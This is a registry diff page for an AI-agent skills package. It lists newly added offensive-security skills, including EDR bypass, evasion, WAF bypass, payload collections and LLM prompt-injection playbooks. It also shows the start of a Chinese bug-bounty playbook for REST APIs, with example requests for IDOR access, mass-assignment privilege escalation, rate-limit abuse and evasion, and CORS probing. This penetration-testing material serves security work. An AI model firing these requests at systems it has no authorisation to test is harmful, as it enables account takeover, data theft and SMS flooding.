opencode-skills-collection 4.0.43 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (270) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +47 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  95. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  96. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  97. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  98. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  99. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  100. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  101. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  102. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  103. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  104. package/bundled-skills/muapi-media/SKILL.md +311 -0
  105. package/bundled-skills/ot-ics/SKILL.md +117 -0
  106. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  107. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  108. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  109. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  110. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  111. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  112. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  113. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  114. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  115. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  116. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  117. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  118. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  119. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  120. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  121. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  122. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  123. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  124. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  125. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  126. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  127. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  128. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  129. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  130. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  131. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  132. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  133. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  134. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  135. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  136. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  137. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  138. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  139. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  140. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  141. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  142. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  143. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  144. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  145. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  146. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  147. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  148. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  149. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  218. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  219. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  220. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  221. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  222. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  223. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  224. package/bundled-skills/radare2/SKILL.md +460 -0
  225. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  226. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  227. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  228. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  229. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  230. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  231. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  232. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  233. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  234. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  235. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  236. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  237. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  238. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  239. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  240. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  241. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  242. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  243. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  244. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  245. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  246. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  247. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  248. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  249. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  250. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  251. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  252. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  253. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  254. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  255. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  256. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  257. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  258. package/bundled-skills/thick-client/SKILL.md +104 -0
  259. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  260. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  261. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  262. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  263. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  264. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  265. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  266. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  267. package/bundled-skills/windows-ad/SKILL.md +109 -0
  268. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  269. package/package.json +1 -1
  270. package/skills_index.json +1214 -2
@@ -0,0 +1,2050 @@
1
+ # REST API 安全(BOLA / Mass Assignment / 速率 / CORS)
2
+
3
+ > 视角:黑盒,针对 REST/JSON API 的常见缺陷
4
+
5
+ ## 1. 一句话说清
6
+
7
+ REST API 漏洞 = 把"端点 + JSON 字段"当攻击面。
8
+ 最常见 4 类:BOLA(IDOR 升级版)、Mass Assignment、速率 / 配额缺失、CORS 配置错。
9
+ SRC 价值:BOLA / Mass Assignment 在大厂常见 P1 ($1k–$8k)。
10
+
11
+ ---
12
+
13
+ ## 2. 高频入口点
14
+
15
+ ```
16
+ /api/v1/... /api/v2/...
17
+ /api/users/{id} /api/orders/{id} /api/messages/{id}
18
+ /api/users/{id}/orders # 嵌套
19
+ /api/internal/... # 不该公开的
20
+ /api/admin/...
21
+ /api/upload /api/export /api/import
22
+ ```
23
+
24
+ API 文档:
25
+ - `/swagger-ui.html`、`/v2/api-docs`、`/openapi.json`、`/api-docs`
26
+ - 移动 APP 抓包(HTTPS 中间人 / objection / Frida)
27
+ - 微信小程序 wxapkg 解包后看 request 调用
28
+
29
+ ---
30
+
31
+ ## 3. 探测手法
32
+
33
+ ### 3.1 BOLA / IDOR(OWASP API #1)
34
+
35
+ ```
36
+ GET /api/orders/100 Authorization: A → 200 A 的订单
37
+ GET /api/orders/200 Authorization: A → 200 B 的订单(漏洞)
38
+
39
+ # 各种 ID 形态
40
+ 数字递增:100 → 101 → ...
41
+ UUID:可能不可枚举,但仍可能被参数污染(如响应里含 link)
42
+ 字段 in body:{"order_id":100} 改成 {"order_id":200}
43
+ 嵌套关系:/users/{你}/orders → /users/{他}/orders
44
+ 批量参数:?ids=1,2,3,4,5,...,1000
45
+ ```
46
+
47
+ ### 3.2 Mass Assignment(OWASP API #3)
48
+
49
+ 加额外字段试服务端是否接受:
50
+
51
+ ```json
52
+ // 注册接口
53
+ POST /api/users
54
+ {"username":"hunter","email":"a@b.c","password":"...",
55
+ "is_admin":true, // 试这个
56
+ "role":"admin", // 或这个
57
+ "verified":true,
58
+ "balance":1000000,
59
+ "tier":"premium"}
60
+
61
+ // 更新接口
62
+ PATCH /api/users/me
63
+ {"is_admin":true}
64
+ PATCH /api/orders/123
65
+ {"status":"shipped","price":0.01}
66
+ ```
67
+
68
+ 发现:JSON 自动绑定模型字段时,未做字段白名单。
69
+
70
+ ### 3.3 资源消耗 / 速率(OWASP API #4)
71
+
72
+ ```
73
+ 1. 登录端点:100 次/分钟无限制 → 撞库
74
+ 2. 短信验证码:无频率 / 无图形验证 → 短信轰炸
75
+ 3. 列表端点:?per_page=10000 → 性能 DoS
76
+ 4. 文件上传:无大小限制 → 磁盘耗尽
77
+ 5. 复杂查询:?filter=深度嵌套 → 查询超时
78
+
79
+ 测试方法:
80
+ for i in {1..50}; do curl -I https://target/api/login; done | grep "HTTP"
81
+ # 50 个连续不被拒 = 速率缺失
82
+ ```
83
+
84
+ ### 3.4 功能权限(OWASP API #5)
85
+
86
+ ```
87
+ # 普通用户调用 admin 端点
88
+ DELETE /api/admin/users/1 Authorization: 普通用户 token
89
+ → 200 = 垂直越权
90
+
91
+ # 隐藏管理参数
92
+ GET /api/users/me?admin_view=true
93
+ GET /api/orders/100?include_audit_log=1
94
+
95
+ # Method 越权
96
+ GET 拦 → 试 POST/PUT/PATCH/OPTIONS
97
+
98
+ # 协议升级
99
+ HTTP → HTTPS-only 绕过:试 HTTP 是否仍可访问敏感端点
100
+ ```
101
+
102
+ ### 3.5 CORS 配置错
103
+
104
+ ```bash
105
+ # 1. 检查 CORS 头
106
+ curl -H "Origin: https://attacker.com" -I https://target/api/me
107
+
108
+ # 危险组合
109
+ Access-Control-Allow-Origin: *
110
+ Access-Control-Allow-Credentials: true ← 危险(虽然 spec 不允许 * + credentials)
111
+
112
+ Access-Control-Allow-Origin: https://attacker.com ← 任意 Origin 接受
113
+ Access-Control-Allow-Credentials: true
114
+
115
+ # 2. null Origin(沙盒 iframe / data: / file:)
116
+ curl -H "Origin: null" https://target/api/me
117
+
118
+ # 3. 子域 / 前缀匹配
119
+ Origin: https://attacker.target.com ← 如果接受 *.target.com
120
+ Origin: https://target.com.attacker.com
121
+ ```
122
+
123
+ ### 3.6 错误处理 / 信息泄露
124
+
125
+ ```
126
+ ?id=null ?id=[] ?id={"$gt":0} ?id=NaN
127
+
128
+ → 看响应是否含堆栈、SQL 错误、内部路径
129
+ ```
130
+
131
+ ### 3.7 GraphQL 见 `playbooks/graphql.md`
132
+
133
+ ---
134
+
135
+ ## 4. Bypass 矩阵
136
+
137
+ | 拦 | 绕 |
138
+ |---|---|
139
+ | Authorization 必填 | 试 Cookie 鉴权 / 试公开端点变体 |
140
+ | 后端只信 Authorization 不验内容 | 修改 JWT payload(见 `oauth-saml-jwt.md`) |
141
+ | API 文档不公开 | swagger / openapi / 抓 mobile / 解包小程序 |
142
+ | `is_admin` 字段拦 | 试 `isAdmin` / `admin` / `role:1` / `level:99` |
143
+ | 速率限制 | 多 IP / X-Forwarded-For 注入 / 多 token |
144
+ | CORS 严格 | 找 trusted 子域的 XSS / 开放重定向,再投毒 |
145
+
146
+ ---
147
+
148
+ ## 5. 利用提权 / 横向
149
+
150
+ ```
151
+ BOLA → 拿大批用户数据
152
+ Mass Assignment(注册时设 is_admin) → admin 权限 → 后台
153
+ 速率缺失(短信) → 短信轰炸 → 业务费用 / 用户骚扰
154
+ CORS + cookie 鉴权 → 跨域偷数据
155
+ ```
156
+
157
+ ---
158
+
159
+ ## 6. 真实案例指纹
160
+
161
+ 通用指纹:
162
+ - API 响应含字段 `is_admin`、`role`、`verified`、`balance` → 试反向 set
163
+ - 注册请求 body 包含 `role: "user"` → 改成 `role: "admin"` 试
164
+ - 列表端点 `per_page` 无上限 → DoS
165
+ - `Access-Control-Allow-Origin` reflect 任何 Origin → CORS 漏洞
166
+
167
+ ---
168
+
169
+ ## 7. 复现 / 证据要点
170
+
171
+ ### 7.1 BOLA
172
+
173
+ ```http
174
+ # 基线(账号 A 看自己)
175
+ GET /api/v1/orders/A_OWN_ID Authorization: Bearer A_TOKEN
176
+ → 200, A 数据
177
+
178
+ # 漏洞(账号 A 看 B)
179
+ GET /api/v1/orders/B_OWN_ID Authorization: Bearer A_TOKEN
180
+ → 200, B 数据(脱敏样本)
181
+ ```
182
+
183
+ ### 7.2 Mass Assignment
184
+
185
+ ```http
186
+ POST /api/v1/users
187
+ Content-Type: application/json
188
+ Body: {"username":"hunter","password":"x","email":"a@b.c","is_admin":true}
189
+
190
+ → 201 Created, response 含 "is_admin":true
191
+
192
+ # 立即用新账号验证
193
+ GET /api/v1/admin/dashboard Authorization: Bearer NEW_TOKEN
194
+ → 200 admin 内容
195
+ ```
196
+
197
+ ### 7.3 CVSS
198
+
199
+ ```
200
+ BOLA → 大量 PII = 6.5–8.1
201
+ Mass Assignment → admin = 8.8–9.8
202
+ 速率缺失 → 撞库 = 7.5
203
+ 速率缺失 → 短信轰炸 = 5.3–7.5
204
